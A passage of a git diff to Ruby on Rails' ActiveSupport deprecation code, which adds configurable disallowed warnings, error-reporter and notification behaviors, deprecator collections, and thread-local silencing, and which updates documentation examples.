     # The version number in which the deprecated behavior will be removed, by default.
     attr_accessor :deprecation_horizon
 
     # It accepts two parameters on initialization. The first is a version of library
-    # and the second is a library name
+    # and the second is a library name.
     #
     #   ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
-    def initialize(deprecation_horizon = "5.2", gem_name = "Rails")
+    def initialize(deprecation_horizon = "8.3", gem_name = "Rails")
       self.gem_name = gem_name
       self.deprecation_horizon = deprecation_horizon
       # By default, warnings are not silenced and debugging is off.
       self.silenced = false
       self.debug = false
+      @silence_counter = Concurrent::ThreadLocalVar.new(0)
+      @explicitly_allowed_warnings = Concurrent::ThreadLocalVar.new(nil)
     end
   end
 end
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index 1d1354c23ec20..2473263fcf9bc 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/notifications"
 
 module ActiveSupport
-  # Raised when <tt>ActiveSupport::Deprecation::Behavior#behavior</tt> is set with <tt>:raise</tt>.
+  # Raised when ActiveSupport::Deprecation::Behavior#behavior is set with <tt>:raise</tt>.
   # You would set <tt>:raise</tt>, as a behavior to raise errors and proactively report exceptions from deprecations.
   class DeprecationException < StandardError
   end
@@ -9,18 +11,18 @@ class DeprecationException < StandardError
   class Deprecation
     # Default warning behaviors per Rails.env.
     DEFAULT_BEHAVIORS = {
-      raise: ->(message, callstack) {
+      raise: ->(message, callstack, deprecator) do
         e = DeprecationException.new(message)
         e.set_backtrace(callstack.map(&:to_s))
         raise e
-      },
+      end,
 
-      stderr: ->(message, callstack) {
+      stderr: ->(message, callstack, deprecator) do
         $stderr.puts(message)
-        $stderr.puts callstack.join("\n  ") if debug
-      },
+        $stderr.puts callstack.join("\n  ") if deprecator.debug
+      end,
 
-      log: ->(message, callstack) {
+      log: ->(message, callstack, deprecator) do
         logger =
             if defined?(Rails.logger) && Rails.logger
               Rails.logger
@@ -29,29 +31,41 @@ class Deprecation
               ActiveSupport::Logger.new($stderr)
             end
         logger.warn message
-        logger.debug callstack.join("\n  ") if debug
-      },
+        logger.debug callstack.join("\n  ") if deprecator.debug
+      end,
+
+      notify: ->(message, callstack, deprecator) do
+        ActiveSupport::Notifications.instrument(
+          "deprecation.#{deprecator.gem_name.underscore.tr("/", "_")}",
+          message: message,
+          callstack: callstack,
+          gem_name: deprecator.gem_name,
+          deprecation_horizon: deprecator.deprecation_horizon,
+        )
+      end,
 
-      notify: ->(message, callstack) {
-        ActiveSupport::Notifications.instrument("deprecation.rails",
-                                                message: message, callstack: callstack)
-      },
+      silence: ->(message, callstack, deprecator) { },
 
-      silence: ->(message, callstack) {},
+      report: ->(message, callstack, deprecator) do
+        error = DeprecationException.new(message)
+        error.set_backtrace(callstack.map(&:to_s))
+        ActiveSupport.error_reporter.report(error)
+      end
     }
 
     # Behavior module allows to determine how to display deprecation messages.
     # You can create a custom behavior or set any from the +DEFAULT_BEHAVIORS+
     # constant. Available behaviors are:
     #
-    # [+raise+]   Raise <tt>ActiveSupport::DeprecationException</tt>.
-    # [+stderr+]  Log all deprecation warnings to +$stderr+.
-    # [+log+]     Log all deprecation warnings to +Rails.logger+.
-    # [+notify+]  Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
-    # [+silence+] Do nothing.
+    # [+:raise+]   Raise ActiveSupport::DeprecationException.
+    # [+:stderr+]  Log all deprecation warnings to <tt>$stderr</tt>.
+    # [+:log+]     Log all deprecation warnings to +Rails.logger+.
+    # [+:notify+]  Use ActiveSupport::Notifications to notify +deprecation.rails+.
+    # [+:report+]  Use ActiveSupport::ErrorReporter to report deprecations.
+    # [+:silence+] Do nothing. On \Rails, set <tt>config.active_support.report_deprecations = false</tt> to disable all behaviors.
     #
     # Setting behaviors only affects deprecations that happen after boot time.
-    # For more information you can read the documentation of the +behavior=+ method.
+    # For more information you can read the documentation of the #behavior= method.
     module Behavior
       # Whether to print a backtrace along with the warning.
       attr_accessor :debug
@@ -61,30 +75,74 @@ def behavior
         @behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
       end
 
+      # Returns the current behavior for disallowed deprecations or if one isn't set, defaults to +:raise+.
+      def disallowed_behavior
+        @disallowed_behavior ||= [DEFAULT_BEHAVIORS[:raise]]
+      end
+
       # Sets the behavior to the specified value. Can be a single value, array,
       # or an object that responds to +call+.
       #
       # Available behaviors:
       #
-      # [+raise+]   Raise <tt>ActiveSupport::DeprecationException</tt>.
-      # [+stderr+]  Log all deprecation warnings to +$stderr+.
-      # [+log+]     Log all deprecation warnings to +Rails.logger+.
-      # [+notify+]  Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
-      # [+silence+] Do nothing.
+      # [+:raise+]   Raise ActiveSupport::DeprecationException.
+      # [+:stderr+]  Log all deprecation warnings to <tt>$stderr</tt>.
+      # [+:log+]     Log all deprecation warnings to +Rails.logger+.
+      # [+:notify+]  Use ActiveSupport::Notifications to notify +deprecation.rails+.
+      # [+:report+]  Use ActiveSupport::ErrorReporter to report deprecations.
+      # [+:silence+] Do nothing.
       #
       # Setting behaviors only affects deprecations that happen after boot time.
       # Deprecation warnings raised by gems are not affected by this setting
-      # because they happen before Rails boots up.
+      # because they happen before \Rails boots up.
       #
-      #   ActiveSupport::Deprecation.behavior = :stderr
-      #   ActiveSupport::Deprecation.behavior = [:stderr, :log]
-      #   ActiveSupport::Deprecation.behavior = MyCustomHandler
-      #   ActiveSupport::Deprecation.behavior = ->(message, callstack) {
+      #   deprecator = ActiveSupport::Deprecation.new
+      #   deprecator.behavior = :stderr
+      #   deprecator.behavior = [:stderr, :log]
+      #   deprecator.behavior = MyCustomHandler
+      #   deprecator.behavior = ->(message, callstack, deprecation_horizon, gem_name) {
       #     # custom stuff
       #   }
+      #
+      # If you are using \Rails, you can set
+      # <tt>config.active_support.report_deprecations = false</tt> to disable
+      # all deprecation behaviors. This is similar to the +:silence+ option but
+      # more performant.
       def behavior=(behavior)
-        @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || b }
+        @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || arity_coerce(b) }
       end
+
+      # Sets the behavior for disallowed deprecations (those configured by
+      # ActiveSupport::Deprecation#disallowed_warnings=) to the specified
+      # value. As with #behavior=, this can be a single value, array, or an
+      # object that responds to +call+.
+      def disallowed_behavior=(behavior)
+        @disallowed_behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || arity_coerce(b) }
+      end
+
+      private
+        def arity_coerce(behavior)
+          unless behavior.respond_to?(:call)
+            raise ArgumentError, "#{behavior.inspect} is not a valid deprecation behavior."
+          end
+
+          case arity_of_callable(behavior)
+          when 2
+            ->(message, callstack, deprecator) do
+              behavior.call(message, callstack)
+            end
+          when -2..3
+            behavior
+          else
+            ->(message, callstack, deprecator) do
+              behavior.call(message, callstack, deprecator.deprecation_horizon, deprecator.gem_name)
+            end
+          end
+        end
+
+        def arity_of_callable(callable)
+          callable.respond_to?(:arity) ? callable.arity : callable.method(:call).arity
+        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/deprecation/constant_accessor.rb b/activesupport/lib/active_support/deprecation/constant_accessor.rb
new file mode 100644
index 0000000000000..d6ff5b4dfa3db
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/constant_accessor.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  class Deprecation
+    module DeprecatedConstantAccessor
+      def self.included(base)
+        require "active_support/inflector/methods"
+
+        extension = Module.new do
+          def const_missing(missing_const_name)
+            if class_variable_defined?(:@@_deprecated_constants)
+              if (replacement = class_variable_get(:@@_deprecated_constants)[missing_const_name.to_s])
+                replacement[:deprecator].warn(replacement[:message] || "#{name}::#{missing_const_name} is deprecated! Use #{replacement[:new]} instead.", caller_locations)
+                return ActiveSupport::Inflector.constantize(replacement[:new].to_s)
+              end
+            end
+            super
+          end
+
+          # Provides a way to rename constants with a deprecation cycle in which
+          # both the old and new names work, but using the old one prints a
+          # deprecation message.
+          #
+          # In order to rename <tt>A::B</tt> to <tt>C::D</tt>, you need to delete the
+          # definition of <tt>A::B</tt> and declare the deprecation in +A+:
+          #
+          #   require "active_support/deprecation"
+          #
+          #   module A
+          #     include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+          #
+          #     deprecate_constant "B", "C::D", deprecator: ActiveSupport::Deprecation.new
+          #   end
+          #
+          # The first argument is a constant name (no colons). It is the name of
+          # the constant you want to deprecate in the enclosing class or module.
+          #
+          # The second argument is the constant path of the replacement. That
+          # has to be a full path even if the replacement is defined in the same
+          # namespace as the deprecated one was.
+          #
+          # In both cases, strings and symbols are supported.
+          #
+          # The +deprecator+ keyword argument is the object that will print the
+          # deprecation message, an instance of ActiveSupport::Deprecation.
+          #
+          # With that in place, references to <tt>A::B</tt> still work, they
+          # evaluate to <tt>C::D</tt> now, and trigger a deprecation warning:
+          #
+          #   DEPRECATION WARNING: A::B is deprecated! Use C::D instead.
+          #   (called from ...)
+          #
+          # The message can be customized with the optional +message+ keyword
+          # argument.
+          #
+          # For this to work, a +const_missing+ hook is installed. When client
+          # code references the deprecated constant, the callback prints the
+          # message and constantizes the replacement.
+          #
+          # Caveat: If the deprecated constant name is reachable in a different
+          # namespace and Ruby constant lookup finds it, the hook won't be
+          # called and the deprecation won't work as intended. This may happen,
+          # for example, if an ancestor of the enclosing namespace has a
+          # constant with the same name. This is an unsupported edge case.
+          def deprecate_constant(old_constant_name, new_constant_path, deprecator:, message: nil)
+            class_variable_set(:@@_deprecated_constants, {}) unless class_variable_defined?(:@@_deprecated_constants)
+            class_variable_get(:@@_deprecated_constants)[old_constant_name.to_s] = { new: new_constant_path, message: message, deprecator: deprecator }
+          end
+        end
+        base.singleton_class.prepend extension
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/deprecators.rb b/activesupport/lib/active_support/deprecation/deprecators.rb
new file mode 100644
index 0000000000000..08f3fae31c12a
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/deprecators.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  class Deprecation
+    # A managed collection of deprecators. Configuration methods, such as
+    # #behavior=, affect all deprecators in the collection. Additionally, the
+    # #silence method silences all deprecators in the collection for the
+    # duration of a given block.
+    class Deprecators
+      def initialize
+        @options = {}
+        @deprecators = {}
+      end
+
+      # Returns a deprecator added to this collection via #[]=.
+      def [](name)
+        @deprecators[name]
+      end
+
+      # Adds a given +deprecator+ to this collection. The deprecator will be
+      # immediately configured with any options previously set on this
+      # collection.
+      #
+      #   deprecators = ActiveSupport::Deprecation::Deprecators.new
+      #   deprecators.debug = true
+      #
+      #   foo_deprecator = ActiveSupport::Deprecation.new("2.0", "Foo")
+      #   foo_deprecator.debug    # => false
+      #
+      #   deprecators[:foo] = foo_deprecator
+      #   deprecators[:foo].debug # => true
+      #   foo_deprecator.debug    # => true
+      #
+      def []=(name, deprecator)
+        apply_options(deprecator)
+        @deprecators[name] = deprecator
+      end
+
+      # Iterates over all deprecators in this collection. If no block is given,
+      # returns an +Enumerator+.
+      def each(&block)
+        return to_enum(__method__) unless block
+        @deprecators.each_value(&block)
+      end
+
+      # Sets the silenced flag for all deprecators in this collection.
+      def silenced=(silenced)
+        set_option(:silenced, silenced)
+      end
+
+      # Sets the debug flag for all deprecators in this collection.
+      def debug=(debug)
+        set_option(:debug, debug)
+      end
+
+      # Sets the deprecation warning behavior for all deprecators in this
+      # collection.
+      #
+      # See ActiveSupport::Deprecation#behavior=.
+      def behavior=(behavior)
+        set_option(:behavior, behavior)
+      end
+
+      # Sets the disallowed deprecation warning behavior for all deprecators in
+      # this collection.
+      #
+      # See ActiveSupport::Deprecation#disallowed_behavior=.
+      def disallowed_behavior=(disallowed_behavior)
+        set_option(:disallowed_behavior, disallowed_behavior)
+      end
+
+      # Sets the disallowed deprecation warnings for all deprecators in this
+      # collection.
+      #
+      # See ActiveSupport::Deprecation#disallowed_warnings=.
+      def disallowed_warnings=(disallowed_warnings)
+        set_option(:disallowed_warnings, disallowed_warnings)
+      end
+
+      # Silences all deprecators in this collection for the duration of the
+      # given block.
+      #
+      # See ActiveSupport::Deprecation#silence.
+      def silence(&block)
+        each { |deprecator| deprecator.begin_silence }
+        block.call
+      ensure
+        each { |deprecator| deprecator.end_silence }
+      end
+
+      private
+        def set_option(name, value)
+          @options[name] = value
+          each { |deprecator| deprecator.public_send("#{name}=", value) }
+        end
+
+        def apply_options(deprecator)
+          @options.each do |name, value|
+            deprecator.public_send("#{name}=", value)
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/disallowed.rb b/activesupport/lib/active_support/deprecation/disallowed.rb
new file mode 100644
index 0000000000000..85fdf5d31065f
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/disallowed.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  class Deprecation
+    module Disallowed
+      # Sets the criteria used to identify deprecation messages which should be
+      # disallowed. Can be an array containing strings, symbols, or regular
+      # expressions. (Symbols are treated as strings.) These are compared against
+      # the text of the generated deprecation warning.
+      #
+      # Additionally the scalar symbol +:all+ may be used to treat all
+      # deprecations as disallowed.
+      #
+      # Deprecations matching a substring or regular expression will be handled
+      # using the configured Behavior#disallowed_behavior rather than
+      # Behavior#behavior.
+      attr_writer :disallowed_warnings
+
+      # Returns the configured criteria used to identify deprecation messages
+      # which should be treated as disallowed.
+      def disallowed_warnings
+        @disallowed_warnings ||= []
+      end
+
+      private
+        def deprecation_disallowed?(message)
+          return false if explicitly_allowed?(message)
+          return true if disallowed_warnings == :all
+          message && disallowed_warnings.any? do |rule|
+            case rule
+            when String, Symbol
+              message.include?(rule.to_s)
+            when Regexp
+              rule.match?(message)
+            end
+          end
+        end
+
+        def explicitly_allowed?(message)
+          allowances = @explicitly_allowed_warnings.value
+          return false unless allowances
+          return true if allowances == :all
+          message && Array(allowances).any? do |rule|
+            case rule
+            when String, Symbol
+              message.include?(rule.to_s)
+            when Regexp
+              rule.match?(message)
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/instance_delegator.rb b/activesupport/lib/active_support/deprecation/instance_delegator.rb
deleted file mode 100644
index 6d390f3b372e4..0000000000000
--- a/activesupport/lib/active_support/deprecation/instance_delegator.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/core_ext/module/delegation"
-
-module ActiveSupport
-  class Deprecation
-    module InstanceDelegator # :nodoc:
-      def self.included(base)
-        base.extend(ClassMethods)
-        base.singleton_class.prepend(OverrideDelegators)
-        base.public_class_method :new
-      end
-
-      module ClassMethods # :nodoc:
-        def include(included_module)
-          included_module.instance_methods.each { |m| method_added(m) }
-          super
-        end
-
-        def method_added(method_name)
-          singleton_class.delegate(method_name, to: :instance)
-        end
-      end
-
-      module OverrideDelegators # :nodoc:
-        def warn(message = nil, callstack = nil)
-          callstack ||= caller_locations(2)
-          super
-        end
-
-        def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
-          caller_backtrace ||= caller_locations(2)
-          super
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb b/activesupport/lib/active_support/deprecation/method_wrappers.rb
index 930d71e8d2810..921168c94aba7 100644
--- a/activesupport/lib/active_support/deprecation/method_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb
@@ -1,14 +1,14 @@
-require "active_support/core_ext/module/aliasing"
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/module/redefine_method"
 
 module ActiveSupport
   class Deprecation
     module MethodWrapper
       # Declare that a method has been deprecated.
       #
-      #   module Fred
-      #     extend self
-      #
+      #   class Fred
       #     def aaa; end
       #     def bbb; end
       #     def ccc; end
@@ -16,54 +16,52 @@ module MethodWrapper
       #     def eee; end
       #   end
       #
-      # Using the default deprecator:
-      #   ActiveSupport::Deprecation.deprecate_methods(Fred, :aaa, bbb: :zzz, ccc: 'use Bar#ccc instead')
-      #   # => Fred
-      #
-      #   Fred.aaa
-      #   # DEPRECATION WARNING: aaa is deprecated and will be removed from Rails 5.1. (called from irb_binding at (irb):10)
-      #   # => nil
+      #   deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
       #
-      #   Fred.bbb
-      #   # DEPRECATION WARNING: bbb is deprecated and will be removed from Rails 5.1 (use zzz instead). (called from irb_binding at (irb):11)
-      #   # => nil
+      #   deprecator.deprecate_methods(Fred, :aaa, bbb: :zzz, ccc: 'use Bar#ccc instead')
+      #   # => Fred
       #
-      #   Fred.ccc
-      #   # DEPRECATION WARNING: ccc is deprecated and will be removed from Rails 5.1 (use Bar#ccc instead). (called from irb_binding at (irb):12)
+      #   Fred.new.aaa
+      #   # DEPRECATION WARNING: aaa is deprecated and will be removed from MyGem next-release. (called from irb_binding at (irb):10)
       #   # => nil
       #
-      # Passing in a custom deprecator:
-      #   custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
-      #   ActiveSupport::Deprecation.deprecate_methods(Fred, ddd: :zzz, deprecator: custom_deprecator)
-      #   # => [:ddd]
-      #
-      #   Fred.ddd
-      #   DEPRECATION WARNING: ddd is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):15)
+      #   Fred.new.bbb
+      #   # DEPRECATION WARNING: bbb is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):11)
       #   # => nil
       #
-      # Using a custom deprecator directly:
-      #   custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
-      #   custom_deprecator.deprecate_methods(Fred, eee: :zzz)
-      #   # => [:eee]
-      #
-      #   Fred.eee
-      #   DEPRECATION WARNING: eee is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):18)
+      #   Fred.new.ccc
+      #   # DEPRECATION WARNING: ccc is deprecated and will be removed from MyGem next-release (use Bar#ccc instead). (called from irb_binding at (irb):12)
       #   # => nil
       def deprecate_methods(target_module, *method_names)
         options = method_names.extract_options!
         deprecator = options.delete(:deprecator) || self
         method_names += options.keys
+        mod = nil
 
-        mod = Module.new do
-          method_names.each do |method_name|
-            define_method(method_name) do |*args, &block|
-              deprecator.deprecation_warning(method_name, options[method_name])
-              super(*args, &block)
+        method_names.each do |method_name|
+          message = options[method_name]
+          if target_module.method_defined?(method_name) || target_module.private_method_defined?(method_name)
+            method = target_module.instance_method(method_name)
+            target_module.module_eval do
+              redefine_method(method_name) do |*args, &block|
+                deprecator.deprecation_warning(method_name, message)
+                method.bind_call(self, *args, &block)
+              end
+              ruby2_keywords(method_name)
+            end
+          else
+            mod ||= Module.new
+            mod.module_eval do
+              define_method(method_name) do |*args, &block|
+                deprecator.deprecation_warning(method_name, message)
+                super(*args, &block)
+              end
+              ruby2_keywords(method_name)
             end
           end
         end
 
-        target_module.prepend(mod)
+        target_module.prepend(mod) if mod
       end
     end
   end
diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
index ce39e9a232fd9..80e4ab22459fe 100644
--- a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
@@ -1,10 +1,9 @@
-require "active_support/inflector/methods"
-require "active_support/core_ext/regexp"
+# frozen_string_literal: true
 
 module ActiveSupport
   class Deprecation
-    class DeprecationProxy #:nodoc:
-      def self.new(*args, &block)
+    class DeprecationProxy # :nodoc:
+      def self.new(*args, **kwargs, &block)
         object = args.first
 
         return object unless object
@@ -26,11 +25,10 @@ def method_missing(called, *args, &block)
         end
     end
 
-    # DeprecatedObjectProxy transforms an object into a deprecated one. It
-    # takes an object, a deprecation message and optionally a deprecator. The
-    # deprecator defaults to +ActiveSupport::Deprecator+ if none is specified.
+    # DeprecatedObjectProxy transforms an object into a deprecated one. It takes an object, a deprecation message, and
+    # a deprecator.
     #
-    #   deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, "This object is now deprecated")
+    #   deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, "This object is now deprecated", ActiveSupport::Deprecation.new)
     #   # => #<Object:0x007fb9b34c34b0>
     #
     #   deprecated_object.to_s
@@ -38,7 +36,7 @@ def method_missing(called, *args, &block)
     #   (Backtrace)
     #   # => "#<Object:0x007fb9b34c34b0>"
     class DeprecatedObjectProxy < DeprecationProxy
-      def initialize(object, message, deprecator = ActiveSupport::Deprecation.instance)
+      def initialize(object, message, deprecator)
         @object = object
         @message = message
         @deprecator = deprecator
@@ -54,15 +52,15 @@ def warn(callstack, called, args)
         end
     end
 
-    # DeprecatedInstanceVariableProxy transforms an instance variable into a
-    # deprecated one. It takes an instance of a class, a method on that class
-    # and an instance variable. It optionally takes a deprecator as the last
-    # argument. The deprecator defaults to +ActiveSupport::Deprecator+ if none
-    # is specified.
+    # DeprecatedInstanceVariableProxy transforms an instance variable into a deprecated one. It takes an instance of a
+    # class, a method on that class, an instance variable, and a deprecator as the last argument.
+    #
+    # Trying to use the deprecated instance variable will result in a deprecation warning, pointing to the method as a
+    # replacement.
     #
     #   class Example
     #     def initialize
-    #       @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request)
+    #       @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, ActiveSupport::Deprecation.new)
     #       @_request = :special_request
     #     end
     #
@@ -87,7 +85,7 @@ def warn(callstack, called, args)
     #   example.request.to_s
     #   # => "special_request"
     class DeprecatedInstanceVariableProxy < DeprecationProxy
-      def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
+      def initialize(instance, method, var = "@#{method}", deprecator:)
         @instance = instance
         @method = method
         @var = var
@@ -104,31 +102,50 @@ def warn(callstack, called, args)
         end
     end
 
-    # DeprecatedConstantProxy transforms a constant into a deprecated one. It
-    # takes the names of an old (deprecated) constant and of a new constant
-    # (both in string form) and optionally a deprecator. The deprecator defaults
-    # to +ActiveSupport::Deprecator+ if none is specified. The deprecated constant
-    # now returns the value of the new one.
+    # DeprecatedConstantProxy transforms a constant into a deprecated one. It takes the full names of an old
+    # (deprecated) constant and of a new constant (both in string form) and a deprecator. The deprecated constant now
+    # returns the value of the new one.
     #
     #   PLANETS = %w(mercury venus earth mars jupiter saturn uranus neptune pluto)
     #
-    #   (In a later update, the original implementation of `PLANETS` has been removed.)
+    #   # (In a later update, the original implementation of `PLANETS` has been removed.)
     #
     #   PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
-    #   PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006')
+    #   PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("PLANETS", "PLANETS_POST_2006", ActiveSupport::Deprecation.new)
     #
     #   PLANETS.map { |planet| planet.capitalize }
     #   # => DEPRECATION WARNING: PLANETS is deprecated! Use PLANETS_POST_2006 instead.
     #        (Backtrace information…)
     #        ["Mercury", "Venus", "Earth", "Mars", "Jupiter", "Saturn", "Uranus", "Neptune"]
-    class DeprecatedConstantProxy < DeprecationProxy
-      def initialize(old_const, new_const, deprecator = ActiveSupport::Deprecation.instance, message: "#{old_const} is deprecated! Use #{new_const} instead.")
+    class DeprecatedConstantProxy < Module
+      def self.new(*args, **options, &block)
+        object = args.first
+
+        return object unless object
+        super
+      end
+
+      def initialize(old_const, new_const, deprecator, message: "#{old_const} is deprecated! Use #{new_const} instead.")
+        Kernel.require "active_support/inflector/methods"
+
         @old_const = old_const
         @new_const = new_const
         @deprecator = deprecator
         @message = message
       end
 
+      instance_methods.each { |m| undef_method m unless /^__|^object_id$/.match?(m) }
+
+      # Don't give a deprecation warning on inspect since test/unit and error
+      # logs rely on it for diagnostics.
+      def inspect
+        target.inspect
+      end
+
+      # Don't give a deprecation warning on methods that IRB may invoke
+      # during tab-completion.
+      delegate :hash, :instance_methods, :name, :respond_to?, to: :target
+
       # Returns the class of the new constant.
       #
       #   PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
@@ -138,13 +155,34 @@ def class
         target.class
       end
 
+      def append_features(base)
+        @deprecator.warn(@message, caller_locations)
+        base.include(target)
+      end
+
+      def prepend_features(base)
+        @deprecator.warn(@message, caller_locations)
+        base.prepend(target)
+      end
+
+      def extended(base)
+        @deprecator.warn(@message, caller_locations)
+        base.extend(target)
+      end
+
       private
         def target
           ActiveSupport::Inflector.constantize(@new_const.to_s)
         end
 
-        def warn(callstack, called, args)
-          @deprecator.warn(@message, callstack)
+        def const_missing(name)
+          @deprecator.warn(@message, caller_locations)
+          target.const_get(name)
+        end
+
+        def method_missing(...)
+          @deprecator.warn(@message, caller_locations)
+          target.__send__(...)
         end
     end
   end
diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb
index 58c5c50e302c8..187a758ca2ad3 100644
--- a/activesupport/lib/active_support/deprecation/reporting.rb
+++ b/activesupport/lib/active_support/deprecation/reporting.rb
@@ -1,41 +1,99 @@
+# frozen_string_literal: true
+
 require "rbconfig"
 
 module ActiveSupport
   class Deprecation
     module Reporting
       # Whether to print a message (silent mode)
-      attr_accessor :silenced
+      attr_writer :silenced
       # Name of gem where method is deprecated
       attr_accessor :gem_name
 
       # Outputs a deprecation warning to the output configured by
-      # <tt>ActiveSupport::Deprecation.behavior</tt>.
+      # ActiveSupport::Deprecation#behavior.
       #
-      #   ActiveSupport::Deprecation.warn('something broke!')
+      #   ActiveSupport::Deprecation.new.warn('something broke!')
       #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
       def warn(message = nil, callstack = nil)
         return if silenced
 
         callstack ||= caller_locations(2)
-        deprecation_message(callstack, message).tap do |m|
-          behavior.each { |b| b.call(m, callstack) }
+        deprecation_message(callstack, message).tap do |full_message|
+          if deprecation_disallowed?(message)
+            disallowed_behavior.each { |b| b.call(full_message, callstack, self) }
+          else
+            behavior.each { |b| b.call(full_message, callstack, self) }
+          end
         end
       end
 
       # Silence deprecation warnings within the block.
       #
-      #   ActiveSupport::Deprecation.warn('something broke!')
+      #   deprecator = ActiveSupport::Deprecation.new
+      #   deprecator.warn('something broke!')
       #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
       #
-      #   ActiveSupport::Deprecation.silence do
-      #     ActiveSupport::Deprecation.warn('something broke!')
+      #   deprecator.silence do
+      #     deprecator.warn('something broke!')
       #   end
       #   # => nil
-      def silence
-        old_silenced, @silenced = @silenced, true
-        yield
+      def silence(&block)
+        begin_silence
+        block.call
       ensure
-        @silenced = old_silenced
+        end_silence
+      end
+
+      def begin_silence # :nodoc:
+        @silence_counter.value += 1
+      end
+
+      def end_silence # :nodoc:
+        @silence_counter.value -= 1
+      end
+
+      def silenced
+        @silenced || @silence_counter.value.nonzero?
+      end
+
+      # Allow previously disallowed deprecation warnings within the block.
+      # <tt>allowed_warnings</tt> can be an array containing strings, symbols, or regular
+      # expressions. (Symbols are treated as strings). These are compared against
+      # the text of deprecation warning messages generated within the block.
+      # Matching warnings will be exempt from the rules set by
+      # ActiveSupport::Deprecation#disallowed_warnings.
+      #
+      # The optional <tt>if:</tt> argument accepts a truthy/falsy value or an object that
+      # responds to <tt>.call</tt>. If truthy, then matching warnings will be allowed.
+      # If falsey then the method yields to the block without allowing the warning.
+      #
+      #   deprecator = ActiveSupport::Deprecation.new
+      #   deprecator.disallowed_behavior = :raise
+      #   deprecator.disallowed_warnings = [
+      #     "something broke"
+      #   ]
+      #
+      #   deprecator.warn('something broke!')
+      #   # => ActiveSupport::DeprecationException
+      #
+      #   deprecator.allow ['something broke'] do
+      #     deprecator.warn('something broke!')
+      #   end
+      #   # => nil
+      #
+      #   deprecator.allow ['something broke'], if: Rails.env.production? do
+      #     deprecator.warn('something broke!')
+      #   end
+      #   # => ActiveSupport::DeprecationException for dev/test, nil for production
+      def allow(allowed_warnings = :all, if: true, &block)
+        conditional = binding.local_variable_get(:if)
+        conditional = conditional.call if conditional.respond_to?(:call)
+        if conditional
+          @explicitly_allowed_warnings.bind(allowed_warnings, &block)
+        else
+          yield
+        end
       end
 
       def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
@@ -59,7 +117,7 @@ def deprecated_method_warning(method_name, message = nil)
           case message
           when Symbol then "#{warning} (use #{message} instead)"
           when String then "#{warning} (#{message})"
-            else warning
+          else warning
           end
         end
 
@@ -80,32 +138,24 @@ def deprecation_caller_message(callstack)
         end
 
         def extract_callstack(callstack)
-          return _extract_callstack(callstack) if callstack.first.is_a? String
+          return [] if callstack.empty?
 
           offending_line = callstack.find { |frame|
-            frame.absolute_path && !ignored_callstack(frame.absolute_path)
+            # Code generated with `eval` doesn't have an `absolute_path`, e.g. templates.
+            path = frame.absolute_path || frame.path
+            path && !ignored_callstack?(path)
           } || callstack.first
 
           [offending_line.path, offending_line.lineno, offending_line.label]
         end
 
-        def _extract_callstack(callstack)
-          warn "Please pass `caller_locations` to the deprecation API" if $VERBOSE
-          offending_line = callstack.find { |line| !ignored_callstack(line) } || callstack.first
-
-          if offending_line
-            if md = offending_line.match(/^(.+?):(\d+)(?::in `(.*?)')?/)
-              md.captures
-            else
-              offending_line
-            end
-          end
-        end
-
-        RAILS_GEM_ROOT = File.expand_path("../../../../..", __FILE__) + "/"
